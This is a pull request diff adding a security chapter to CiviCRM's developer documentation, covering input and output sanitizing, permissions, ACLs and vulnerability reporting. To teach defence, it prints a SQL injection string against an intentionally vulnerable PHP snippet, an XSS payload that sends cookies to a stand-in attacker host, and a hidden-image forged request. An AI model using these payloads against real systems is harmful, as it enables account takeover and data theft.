Merge pull request #245 from seamuslee001/security_chapter

Security related documentation

docs/api/interfaces.md

@@ -105,7 +105,7 @@ You can also access the AJAX Interface from the REST function but only as an XHR
 ```
 http://www.example.org/civicrm/ajax/rest?entity=contact&action=get&json=1
 ```
-More information on the security of the AJAX interface and permissions needed can be found on the [Permissions Page](/security/permissions) in Security.
+More information on the security of the AJAX interface and permissions needed can be found on the [Permissions Page](/security/permissions.md) in Security.
 
 Example Outputs from the REST Interface are as follows:
 

docs/api/usage.md

@@ -220,3 +220,7 @@ wp civicrm-api contact.get first_name=Alice last_name=Roberts
 ```bash
 cv api contact.get first_name=Alice last_name=Roberts
 ```
+
+## API Security
+
+API has security mesasures inbuilt dependign on the way the API is called that can also be turned off or on. API Permissions are also able to be altered via hook. More information on API Security can be found in the [Security Doucmentation](/security/permissions.md).

docs/framework/angular/loader.md

@@ -161,22 +161,7 @@ in the Smarty template:
 ```
 
 !!! caution "Security note"
-
-    The [AngularJS Security Guide](https://docs.angularjs.org/guide/security) says:
-    
-    > Do not use user input to generate templates dynamically
-    
-    This means that if you put an `ng-app` element in a Smarty template as shown above, it's very important that you do not use Smarty to put any user input inside the `ng-app` element.
-    
-    For example, the following Smarty template would be a security risk:
-    
-    ```html
-    <div ng-app="crmCaseType">
-      <div ng-view="">{$untrustedData}</div>
-    </div>
-    ```
-    
-    because if the `$untrustedData` PHP variable contains a string like `{{1+2}}`, then AngularJS will execute `1+2` and open the door to XSS vulnerabilities. 
+    When embedding AngularJS within Smarty, it's important that you [do not put untrusted data in Smarty variables](/security/outputs.md#angularjs).
 
 Finally, flush the cache and visit the new page.
 

docs/security/access.md

+# Access Control in CiviCRM
+
+## Introduction
+
+CiviCRM has a system of ACLs which are done in the effort to allow end users to customise which groups of their users are able to see what contacts within the organisation. The Access Control Lists (ACL) also allows Administrators of sites. ACLs work alongside the system of permissions set out by CiviCRM which is intergrated in the Content Management System's Permissions strtucure. 
+
+## Context
+
+Access Control is used to control access to CiviCRM data and functionality. This is done through Access Control Lists (ACL's). An ACL consists of:
+
+1. A Role that has permission to do this operation ('Administrator', 'Team Leader'),
+2. An Operation (e.g. 'View' or 'Edit'), and
+3. A set of Data that the operation can be performed on (e.g. a group of contacts)
+
+Example there maybe a role called "Team Leaders" that can "Edit" all the contacts within the "Active Volunteers Group"
+
+## Within Code
+
+Much of the ACL control process happens within the `CRM/ACL/Api.php` file and `CRM/ACL/BAO/Acl.php` file. These files demonstrates how the ACL is used to add cluases to the WHERE statement of queries that are generated within CiviCRM. Many of these functions will be called from within the relevant CMS system files in `CRM/Utils/System/xxx.php` where xxx is the UF name of your CMS. e.g. Drupal 7 is Drupal, Drupal 8 is Drupal8 etc. These functions are usually checked at run time and are very low level down. 
+
+## Extending ACLs
+
+There are a few ACL hooks that allow developers in their extension to extend the implementation of various ACLs for their own purposes. 
+ - `hook_civicrm_aclGroup` This hook aims to alter what entities e.g. CiviCRM Groups, CiviCRM Events etc that an end user is able to see [See hook documentation](/hooks/hook_civicrm_aclGroup.md) for more information on the hook. 
+ - `hook_civicrm_aclWhereClause`, The purpose of this hook is as it is mentioned adds on extra SQL statements when the ACL contact cache table is to be filled up. Depending on how frequently your ACL cache is cleared this may become taxining on your database see also [hook documentation](/hooks/hook_civicrm_aclWhereClause.md). 
+ - `hook_civicrm_selectWherClause` This hook is very new only introduced within 4.7. THe purpose of this is to allow you to add specific restrictions or remove restrictions when querying specific entities. This is differnt to `hook_civicrm_aclWhereClause` because that only deals with contacts and limiting of contacts and also `hook_civicrm_selectWhereClause` is run every time a select query for that entity is run see also [hook documentation](/hooks/hook_civicrm_selectWhereClause.md). 
+
+It should be noted that especially with `hook_civicrm_selectWhereClause` there is not a whole lot of CiviCRM Core test coverage on these items so its always very important that end users test their own ACLs when testing any upgrade to CiviCRM.

docs/security/index.md

+# Secure Coding
+
+## Introduction
+
+CiviCRM maintains a number of standard practices which help ensure that CiviCRM is as secure as possible. This chapter will aim to help give developers guidance on the best way to write code for CiviCRM core and Extensions etc in a secure way. 
+
+## Inputs and outputs
+
+Like any large application, CiviCRM has many inputs and many outputs — and for adequate security, it must ensure that all data which flows from untrusted inputs to sensitive outputs receives *sanitizing* at some point along the way to protect against attacks.
+
+![Inputs vs outputs diagram](/img/security-inputs-and-outputs.svg)
+
+### Bad example
+
+Consider the following PHP code:
+
+```php
+$contactId = $_GET['cid']; // Untrusted input
+$sql = "
+ SELECT display_name
+ FROM civicrm_contact
+ WHERE id = $contactID;
+";
+$query = CRM_Core_DAO::executeQuery($query); // Sensitive output
+```
+
+This is bad because because a user can send the following string for the `cid` parameter:
+
+```text
+0 UNION SELECT api_key FROM civicrm_contact WHERE id = 4
+```
+
+With this attack, the response page would display the API key (for any contact the attacker chooses) anywhere the page would normally display the contact's name. This is an information disclosure vulnerability.
+
+!!! note
+    You might think that an input like ``0; DROP TABLE `civicrm_contact` `` would present an [even more serious a vulnerability](https://xkcd.com/327/), but fortunately CiviCRM does not allow [query stacking](http://www.sqlinjection.net/stacked-queries/) which means `executeQuery()` can only execute one query at a time.
+
+### An improvement using sanitizing
+
+In order to fix this security vulnerability, we need to sanitize either the input or output (or both!) as follows:
+
+```php
+$contactId = CRM_Utils_Request::retrieve(
+  'cid',
+  'Positive' // <-- Input sanitizing
+);
+$sql = "
+  SELECT display_name
+  FROM civicrm_contact
+  WHERE contact_id = %1;
+";
+$displayName = CRM_Core_DAO::executeQuery($query, array(
+  1 => array($contactId, 'Integer'), // <-- Output sanitizing
+));
+```
+
+Now, users will only be able to send integers in, and CiviCRM will only be able to send integers out. This is obviously a simplified example, but it illustrates the concepts of inputs, outputs, and sanitizing.
+
+
+## Sanitization methods {:#sanitization}
+
+Sanitizing (also sometimes generally called "**escaping**") refers the process of cleaning (or rejecting) data to protect against attacks.
+
+### Validation
+
+The most primitive way to sanitize untrusted data (as in the example above) is to throw an error when it does not conform to the expected format. This works well for data of known (and simple) types, but can be much more difficult (and less effective) when used for complex data types.
+
+Validation is very important for data *inputs*. Likewise, it's a good idea to use it for *outputs*, too. For example, when sending data to MySQL in a query, it's good practice to validate that integers are actually integers.
+
+### Encoding (aka "escaping") {:#encoding}
+
+Encoding alters the untrusted data to suit a *specific output*.
+
+For example, consider the following Smarty code:
+
+```html
+<div class="email">{$emailAddress}</div>
+```
+
+This works fine with an input of `foo@example.org`. But a string like `<script>window.location='http://attacker.example.com/?cookie='+document.cookie</script>` would present an [XSS](https://excess-xss.com/) vulnerability. If loaded in a victim's browser, this string would send the victim's cookies to the attacker's website and allow the attacker to masquerade as the user.
+
+Using validation to reject email addresses characters like `<` or `>` would prevent the attack, but it would also prevent us from displaying email addresses like `"Foo Bar" <foo@example.org>`.
+
+By *encoding* the data for HTML (e.g. by using [htmlentities()](http://php.net/manual/en/function.htmlentities.php)), we change `"Foo Bar" <foo@example.org>` to `&quot;Foo Bar&quot; &lt;foo@example.org&gt;`. This prevents the attack and allows us to display any characters we wish.
+
+!!! important
+    Encoding is specific to output mechanisms. Data embedded within HTML must be encoded differently from data embedded in an SQL query or a shell command.
+
+### Purification
+
+In rare cases such as user-editable rich text fields, CiviCRM cannot use validation or encoding to protect against attacks because the same characters used in attacks are also necessary for presentation. For these cases, CiviCRM uses a 3rd-party library called [HTML Purifier](http://htmlpurifier.org/) which employs sophisticated techniques to [remove XSS](http://htmlpurifier.org/live/smoketests/xssAttacks.php) from HTML strings.
+
+
+## Sanitize input or output? {:#input-vs-output}
+
+Now that we understand the difference between inputs and outputs, as well as the different sanitization techniques, the question arises: *at what point in my code should I sanitize? Input, or output?*
+
+### In an ideal world {:#ideal}
+
+Within the larger community of developers (outside of CiviCRM), the current [best-practices say](https://security.stackexchange.com/a/95330/32455) that developer should do the following
+
+* For inputs:
+    * **Validate data inputs** as strictly as possible.
+* For outputs:
+    * *Also* **validate data outputs** as strictly as possible (to provide some redundant protection).
+    * **Encode data outputs** whenever possible (which is most of the time).
+    * Provide purification for outputs in rare cases when encoding is not possible (e.g. rich text).
+
+!!! failure "In a misguided world"
+
+    A common (and well meaning) mistake is to *encode inputs* instead of *encoding outputs*. For example, we might choose to store a string like `"Foo Bar" <foo@example.org>` in the database as `&quot;Foo Bar&quot; &lt;foo@example.org&gt;` because we know that, later on, our application will display it within an HTML page. This approach is bad because different outputs (e.g. HTML, SQL, shell) require different of encoding schemes. During input we have no reliable way of knowing which outputs the data will reach.
+
+### CiviCRM's current strategy {:#strategy}
+
+Unfortunately (at least as of 2017) CiviCRM exists in a somewhat uncomfortable limbo between the ideal world and the misguided world. In some places, CiviCRM sanitizes inputs with a partial encoding for HTML output, and then does not encode the HTML output. In other places, (e.g. in SQL queries) CiviCRM encodes outputs. In 2012, developers [identified the need to improve this situation](https://issues.civicrm.org/jira/browse/CRM-11532), but unfortunately it's not an easy task because shifting strategies has implications across the entire codebase. This doesn't mean CiviCRM is rife with security vulnerabilities &mdash; it just means that CiviCRM has not been *consistent* about how it approaches security.
+
+CiviCRM's strategy is as follows:
+
+* Inputs:
+    1. Validate inputs when possible
+    1. For non-rich text, [partially encode inputs](/security/inputs.md#input-encoding)
+    1. For rich text, [purify inputs](/security/inputs.md#input-purification)
+* Outputs:
+    1. HTML:
+        * Do *not* perform HTML encoding for [data between tags](/security/outputs.md#between-tags)
+        * *Do* perform HTML encoding for [data within attributes](/security/outputs.md#in-attributes)
+    1. SQL: [validate and encode](/security/outputs.md#sql)
+    1. Shell: [validate and encode](/security/outputs.md#shell)
+
+

docs/security/inputs.md

+# Securing your inputs
+
+## `GET` parameters
+
+If you have a page or a form which reads parameters from the URL (aka `GET` parameters) like `?cid=1234` or `?action=add`, it's important to understand that attackers can somewhat easily deceive *privileged users* into submitting malicious `GET` requests by directing the user to an email or website with content like: 
+
+```html
+<img width="0" height="0" src="https://example.org/civicrm/page?foo=ATTACK" >
+```
+
+This means that we can *never* trust `GET` parameters, even if the page has tight [permissions](/security/permissions.md) or [ACLs](/security/access.md)! A common security vulnerability which arises from insecure `GET` inputs is [reflected XSS](https://excess-xss.com/#reflected-xss), but `GET` inputs can also find their way into all sort of other sensitive outputs, like SQL queries.
+
+### Validating `GET` parameters
+
+Use the function `CRM_Utils_Request::retrieve()` to retrieve and validate `GET` parameters. This works great for simple types like integers. For example:
+
+```php
+$cid = CRM_Utils_Request::retrieve('cid', 'Positive');
+```
+
+Here we have specified `'Positive'` as the type. The acceptable types can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378).
+
+If you find yourself wanting to use the `'String'` type, beware that this type offers very little validation and hence almost no protection against attacks. Thus, for strings it's important to *add additional validation*, as demonstrated in the following example.
+
+```php
+$angPage = CRM_Utils_Request::retrieve('angPage', 'String', $this);
+if (!preg_match(':^[a-zA-Z0-9\-_/]+$:', $angPage)) {
+  CRM_Core_Error::fatal('Malformed return URL');
+}
+```
+
+## `POST` parameters
+
+When accepting `POST` parameters through forms, it's important to validate the data using the form validation tools provided by `CRM_Core_Form`.
+
+
+## When saving to the database
+
+Despite the [current recommended best-practices](/security/index.md#input-vs-output), CiviCRM *does* sanitize some of its *inputs*. This section describes how.
+
+### Input encoding {:#input-encoding}
+
+For almost all inputs which are saved to the database, CiviCRM automatically uses `CRM_Utils_API_HTMLInputCoder::encodeInput()` to apply a *partial* encoding for HTML output. This encoding step happens at a low level for inputs passed through the API or the BAO (except for fields noted in `CRM_Utils_API_HTMLInputCoder::getSkipFields()`). So if you're using the API or the BAO to process your input you don't need to do anything special.
+
+If, for some strange reason, you happen to be writing untrusted data to the database directly with SQL, you should encode this data in a fashion consistent with `CRM_Utils_API_HTMLInputCoder::encodeInput()`.
+
+Note that `CRM_Utils_API_HTMLInputCoder::encodeInput()` only encodes `<` and `>`. It does *not* encode quotes. This has some special implications for how you should [encode your HTML outputs](/security/outputs.md#html).
+
+### Input purification {:#input-purification}
+
+When accepting untrusted data with rich text (uncommon), pass the data through `CRM_Utils_String::purifyHTML` to remove XSS.

docs/standards/sql.md → docs/security/outputs.md

-# SQL Coding Standards
+# Securing your outputs
 
-When writing SQL, it is very important that developers protect against [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) by ensuring that all variables are passed into SQL safely and securely.
+## HTML/Smarty {:#html}
 
-This page describes the inbuilt parameterization tools available for safely executing SQL.
+Untrusted data placed in HTML must be [encoded](/security/index.md#encoding) for HTML output at some point. The PHP function [htmlentities()](http://php.net/manual/en/function.htmlentities.php) does this, and the Smarty variable modifier [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) behaves similarly.
 
-## `CRM_Core_DAO::executeQuery` {:#executeQuery}
+### Between tags {:#db-between-tags}
+
+#### Database data between tags {:#db-between-tags}
+
+Data which comes out of MySQL has already been [partially encoded for HTML output](/security/inputs.md#input-encoding). This means that when you place this data between HTML tags, you don't need to perform any output encoding. For example:
+
+```html
+<div>{$displayName}</div>
+```
+
+#### Direct user input between tags {:#inputs-between-tags}
+
+Here we have a bit of a grey area where CiviCRM does not have a consistent approach. If untrusted inputs are placed into HTML before being saved to the database, you need to ensure to perform HTML output encoding *at some point*.
+
+You can perform the output encoding in PHP as follows:
+
+```php
+$userInput = htmlentities($userInput);
+```
+
+Or you can perform the output encoding in Smarty as follows:
+
+```html
+<div>{$userInput|escape}</div>
+``` 
+
+!!! tip
+    Be wary of using user input in *error messages*. This is a common scenario wherein untrusted user input can end up in HTML with no HTML output encoding.
+
+### HTML attributes {:#in-attributes}
+
+When placing data within attributes, always use Smarty's [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) variable modifier to encode HTML entities.
+
+```html
+<a href="#" title="{$displayName|escape}">Foo</a>
+```
+
+!!! note
+    HTML output encoding *is always* necessary for attribute data (but *not* always necessary for data between tags) because of the intentionally incomplete [input encoding](/security/inputs.md#input-encoding) that CiviCRM performs. 
+    
+### Javascript in Smarty {:#javascript-smarty}
+
+If you have a PHP variable that you'd like to use in Javascript, you can assign it to a Javascript variable in a Smarty template as follows
+
+```html
+<div>...</div>
+{literal}
+<script type="text/javascript">
+  var data = {/literal}{$data|@json_encode}{literal};
+</script>
+{/literal}
+<div>...</div>
+```
+
+Notice the use of the `@json_encode` variable modifier. This provides output encoding for JSON which is important to prevent XSS. 
+
+## AngularJS templates {:#angularjs}
+
+The [AngularJS Security Guide](https://docs.angularjs.org/guide/security) says:
+    
+> Do not use user input to generate templates dynamically
+
+This means that if you put an `ng-app` element in a Smarty template, it's very important that you do not use Smarty to put any user input inside the `ng-app` element.
+
+For example, the following Smarty template would be a security risk:
+
+```html
+<div ng-app="crmCaseType">
+  <div ng-view=""></div>
+  <div>{$untrustedData}</div>
+</div>
+```
+
+This is bad because the `$untrustedData` PHP variable can contain a string like `{{1+2}}` which AngularJS will execute, opening the door to XSS vulnerabilities. 
+
+
+## SQL {:#sql}
+
+When writing SQL, it is very important to protect against [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) by ensuring that all variables are passed into SQL with sufficient validation and encoding. CiviCRM has several functions to help with this process, as described below.
+
+### `CRM_Core_DAO::executeQuery` {:#executeQuery}
 
 ```php
 $name = 'John Smith'; /* un-trusted data */
@@ -27,7 +107,7 @@ This example ensures that variables are safely escaped before being inserted int
 
 The variable types available for this can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378). The query engine then applies appropriate escaping for the type.
 
-## `CRM_Utils_Type::escape` {:#escape}
+### `CRM_Utils_Type::escape` {:#escape}
 
 In some circumstances you may find that a complex query is easier to build by directly escaping values using the `CRM_Utils_Type::escape()` method. It is prefereable to use the form above or the `CRM_Utils_SQL_Select` format
 
@@ -37,7 +117,7 @@ $column = CRM_Utils_Type::escape('civicrm_contact.display_name', 'MysqlColumnNam
 $result = CRM_Core_DAO::executeQuery("SELECT FROM civicrm_contact WHERE $column like '%$name%'");
 ```
 
-## `CRM_Utils_SQL_Select`
+### `CRM_Utils_SQL_Select`
 
 Since CiviCRM 4.7 version there has been an alternate way of generating SQL -- use `CRM_Utils_SQL_Select`. Compared to plain `CRM_Core_DAO`, it has three advantages:
 
@@ -96,3 +176,24 @@ $records = CRM_Utils_SQL_Select::from('mytable')
 ```
 
 Further information on this method can be found in the [CRM_Utils_SQL_Select class](https://github.com/civicrm/civicrm-core/blob/6db7061/CRM/Utils/SQL/Select.php#L33)
+
+## PHP
+
+PHP functions like `eval()` and [many others](https://stackoverflow.com/questions/3115559/exploitable-php-functions/3697776#3697776) will convert strings stored in PHP variables into executable PHP code. If untrusted inputs ever make their way into such strings, critical [code injection](https://www.owasp.org/index.php/Code_Injection) vulnerabilities can arise. It's best to avoid these functions entirely &mdash; and fortunately modern PHP developers almost never need to use such functions. In the rare event that you find yourself needing to convert a string to PHP code, you must make certain that untrusted data is strictly validated.
+
+
+## Shell commands {:#shell}
+
+Here are some PHP functions which execute shell commands: 
+
+* `exec()`
+* `passthru()`
+* `system()`
+* `shell_exec()`
+* `popen()`
+* `proc_open()`
+* `pcntl_exec()`
+* ``` `` ``` (backticks) 
+
+Using these functions can be very risky! If you're inclided to use one of these functions, it's best to spend some time looking a way to *not* use one of the functions. If you really can't find a way around it, then make sure to use [escapeshellarg](http://php.net/manual/en/function.escapeshellarg.php) (and in some cases [escapeshellcmd](http://php.net/manual/en/function.escapeshellcmd.php)) to properly encode data sent to the shell.
+

docs/security/permissions.md

+# Permissions Framework in CiviCRM
+
+## Introcution
+
+CiviCRM has a number of permissions that are able to be set through the relevant permissions page of your Content Management System. These are the primary way CiviCRM controls what parts of the application users are able to see. For example, accessing the "Scheduled Reminders" screen in CiviCRM requires the permission of `Administer CiviCRM` at least. Permissions are also there to control access to various entities such as contacts. There are generally 2 permissions `Access All Contacts` and `Edit All Contacts`. Users which have those permissions will be able to see and possibly edit all contacts.
+
+## Key Permissions
+
+As mentioned in the introduction there are some crucial permissions to get heads around
+
+* `Administer CiviCRM` - This is a very broad permission and generally speaking is designed to grant access to any administrative parts of CiviCRM
+* `Edit All Contacts`, `View All Contacts` - This grants access to all contacts within the database for editing purposes
+* `Access All Customdata` - This grants the user access to view and edit all the custom data in the system. 
+* `Access X` - These permissions are for each core module e.g. CiviContribute CiviEvent. Where `X` will be the title of that module. These permissions grant access to those areas of CiviCRM. These permissions will only show up if the modules are enabled. 
+
+## Implementing Permissions logic
+
+When in an extension you create a page or form there will be an XML routing file that will be needed to register your path, within the XML document you can put in a key of `access_arguments` This allows developers to specify what should be the default permissions that are needed to access this url. It should be noted if you want to specify an "OR" condition e.g. "Administer CiviCRM *or* Access CiviEvent" you need to put it as `xml<access_arguments>Administer CiviCRM;Access CiviEvent</access_arguments>`. If you want to do an "AND" i.e. the user needs both permissions you should change the ; for a , in that example. 
+
+Permissions are also implemented within `run` functions of pages. Normally pages have permissions associated with the various forms and links. The main way this is done is by looking at the function `getIdAndAction` in `CRM\Core\Page\Basic.php` This determines what action e.g. Update, Browse, Delete etc and checks if the user has permission do to that Action.
+
+Another function that does similar work but is more useful is `CRM_Core_Permission::checkActionPermission`. This generally gets used in BAO functions when preparing a list of links.
+
+When you write code, you can look at `CRM_Core_Permission::check` to see if the user holds the required permissions.
+
+## API Permissions
+
+Depending on how the API is called, it is either called with a `check_permissions` flag turned off or turned on. When it is turned off, it will run the API without checking if the user has the necessary permissions to perform the action needed. If you turn `check_permissions` on then there will be tests done. By default code in CLI tools e.g. drush or WP-cli or within core code or extension code that is done at run time, the default in CiviCRM APIv3 is that the `check_permissions` flag is turned off. If you call the CiviCRM API through the rest interface then by default the `check_permissions` flag will be turned on. The permissions needed to make various API calls are defined in `CRM_Core_Permission::getEntityActionPermissions()`
+
+## Extending Permissions
+
+If you want to add a permission to the list in the CMS, you can implement [hook_civicrm_permission](/hooks/hook_civicrm_permission.md). Here, you can specify new permissions that will then be available to select within the CMS permissions.
+
+## Altering API Permissions
+
+If you want to alter the permissions the API uses during its permissions check, you can implement the [hook_civicrm_alterAPIPermissions](/hooks/hook_civicrm_alterAPIPermissions.md). Note that you should be very careful when altering any permissions because they may have unintended consequences.

docs/security/reporting.md

+# Reporting a Security Vulnerability
+
+## Introduction
+
+CiviCRM Core Team and Security Team are responsible for fixing reported security issues within [supported CiviCRM versions](https://civicrm.org/download). Security releases will only be made for those versions with active CiviCRM support, at which point [Security Advisories](https://civicrm.org/advisory) will be issued.
+
+## Release Timing. 
+
+CiviCRM maintains two security release windows, they are the first and third Wednesday of every month US/PDT Timezone. Having a release window doesn't mean that a release will occur, but it does allow for site administrators to be conscious of when there may be a security update.
+
+## Reporting a Security bug
+
+CiviCRM maintains an email address [security@civicrm.org](mailto:security@civicrm.org) as the primary mechanism for reporting security issues. When you report an issue, please include all possible information that would help the Security Team replicate and help solve the issue. Unless you request anonymity, you will be credited for your role in reporting the issue as well as any other roles you take in resolving it.
+
+## Security Policy
+
+CiviCRM has a publicly available [Security Policy](https://civicrm.org/security) which details these points and goes into some further detail around our security practices.

mkdocs.yml

@@ -84,6 +84,13 @@ pages:
   # CiviMail: /reference/civimail.md
   # CiviReport: /reference/civireport.md
   # Payment Processing: /reference/payment.md
+- Security:
+  - Secure Coding: security/index.md
+  - Securing Inputs: security/inputs.md
+  - Securing Outputs: security/outputs.md
+  - Permissions: security/permissions.md
+  - Access Control: security/access.md
+  - Reporting Vulnerabilities: security/reporting.md
 - API:
   - APIv3 Intro: api/index.md
   - APIv3 Usage: api/usage.md
@@ -223,7 +230,6 @@ pages:
 - Coding Standards:
   - Coding Standards: standards/index.md
   - PHP Standards: standards/php.md
-  - SQL Standards: standards/sql.md
   - Javascript Reference: standards/javascript.md
   # API: standards/api.md
   # Git: standards/git.md

redirects/wiki-crmdoc.txt

@@ -156,3 +156,4 @@ Coding+Standards standards
 QuickForm+Reference framework/quickform
 EntityRef+Fields framework/quickform/entityref
 Pseudoconstant+option+list+Reference framework/pseudoconstant
+API+Security api/usage/#api-security